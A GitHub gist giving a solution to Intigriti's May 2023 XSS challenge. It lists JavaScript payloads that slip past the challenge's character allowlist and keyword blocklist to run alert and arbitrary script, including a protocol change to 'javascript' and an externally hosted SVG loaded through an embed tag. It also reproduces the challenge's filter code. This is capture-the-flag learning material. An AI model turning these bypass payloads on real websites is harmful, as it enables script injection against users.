Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active June 23, 2023 18:53
Show Gist options
  • Save Siss3l/76dc17652606f1946ef59e40f9afec4b to your computer and use it in GitHub Desktop.
Save Siss3l/76dc17652606f1946ef59e40f9afec4b to your computer and use it in GitHub Desktop.
Intigriti's May 2023 XSS web challenge thanks to @RenwaX23
xss = "'\xff'.codePointAt()"; // To obtain the number 255
xss = "Date.length"; // To obtain the digit 7
xss = "''+RegExp()"; // To return the pattern string "/(?:)/"
xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs)
xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes
xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key
xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]`
xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url payload in as `#%0aprint()`
xss = "Reflect.get(frames,Reflect.ownKeys(frames).sort().reverse().at(frames.innerWidth))(origin)"; // Have to get right size to use `alert` without quotes
/**
* The `Reflect` namespace object contains static methods for invoking interceptable JavaScript object internal methods;
* The `RegExp` object is used for matching text with some pattern;
* The `baseURI` property returns the absolute base URL of the element, as an useful alternative to `location.hash` property;
* The `frames` object returns the window itself listing the direct sub-frames of the current window;
* The `origin` global read-only property returns the origin of the global scope serialized as an url string;
* The `xss` object as input `<input id="xss" type="text" name="xss" placeholder="e.g. print()">` element value.
*/
xss = "Reflect.get(frames,'al\ert')(origin.slice(Date.length+true))";
/**
* Valid payload (60 of length) that acts like `alert(document.domain)` which displays
* "challenge-0523.intigriti.io" and that runs for both `Chromium` and `Firefox` web browser.
*/
poc = "#<embed/src=//gistcdn.githack.com/../../raw/../test.svg>"; // The SVG gist used with raw.githack.com to have proper Content-Type headers
xss = "Reflect.set(Reflect.get(frames,'xs\s'),'innerH\TML',unescape(Reflect.get(frames,'xs\s').baseURI))";
/**
* Valid payload (97 of length) that can execute arbitrary XSS code on the page, of
* `Content Security Policy` deviation with different `Cross-Origin Resource Sharing`
* and `X-Frame-Options` header on "SAMEORIGIN" for same origin of the page itself,
* based on the string containing an hash mark "#" followed by the fragment identifier
* of the "https://challenge-0523.intigriti.io/challenge/xss.html?xss=xss#poc" URL.
*
* Works approx. on `Firefox` with `<embed>` or `<object>` element and the `xss` object where
* instead `Chrome` browser quite operates with `document.body` and specific `SVG` format.
*
* Could have used some other techniques with a more in-depth approach here.
*/
Display the source blob
Display the rendered blob
Raw
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
(() => {
opener = null; // Removing the reference to the `opener` window to prevent access to it from the current window.
name = ''; // Setting `name` to an empty string to clearing any previously set window name.
const xss = new URL(location).searchParams.get("xss") || ''; // Some problematic here.
const characters = /^[a-zA-Z,'+\\.()]+$/;
/**
* Regular expression of `characters` that:
* ^ asserts position at start of the string
* + matches the previous token between one and unlimited times (as many times as possible) giving back as needed (greedy)
* a-z matches a single character in the range between a (index 97) and z (index 122) (case sensitive)
* A-Z matches a single character in the range between A (index 65) and Z (index 90) (case sensitive)
* ,'+ matches a single character in the list ,'+ (case sensitive)
* \\ matches the character \ with index 9210 (5C16 or 1348) literally (case sensitive)
* .() matches a single character in the list .() (case sensitive)
* $ asserts position at the end of the string
*
* @default object
*/
const words = /alert|prompt|eval|setTimeout|setInterval|Function|location|open|document|script|url|HTML|Element|href|String|Object|Array|Number|atob|call|apply|replace|assign|on|write|import|navigator|navigation|fetch|Symbol|name|this|window|self|top|parent|globalThis|new|proto|construct|xss/i;
/** Matches the characters of these words literally (case sensitive) */
if(xss.length < 100 && characters.test(xss) && !words.test(xss)) {
script = document.createElement('script'); // Method that creates the HTML element specified by `script` tag name.
script.src = 'data:,' + xss; // The `src` attribute is set with data URI that allows embedding data directly into itself, which can cause flaws if not sanitized properly.
document.head.appendChild(script); // Appending the content of `script` element as `<script src="data:,payload">` value.
console.info(document.head.toString()); // Displaying the script's tag content as in a web browser.
}
else {
console.log("try harder"); // ¯\_(ツ)_/¯
}
})();
const document = {
/** Simple redundant DOM emulation of the `document` object to be run on `Node.js` environment */
createElement: (tagName) => {
return {
children: [], src: "", tagName,
appendChild: function (child) {
this.children.push(child);
},
set src(content) {
this.children = [content];
},
get src() {
return this.children.join("");
},
};
},
head: {
children: [], src: "src", tagName: "script",
appendChild: function (child) {
this.children.push(child.children.shift());
},
toString: function () {
return (function generateHTML(element) {
const childrenString = element.children.map((child) => child.toString()).join("");
return `<${element.tagName} ${element.src}="${childrenString}">`;
})(this);
},
},
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment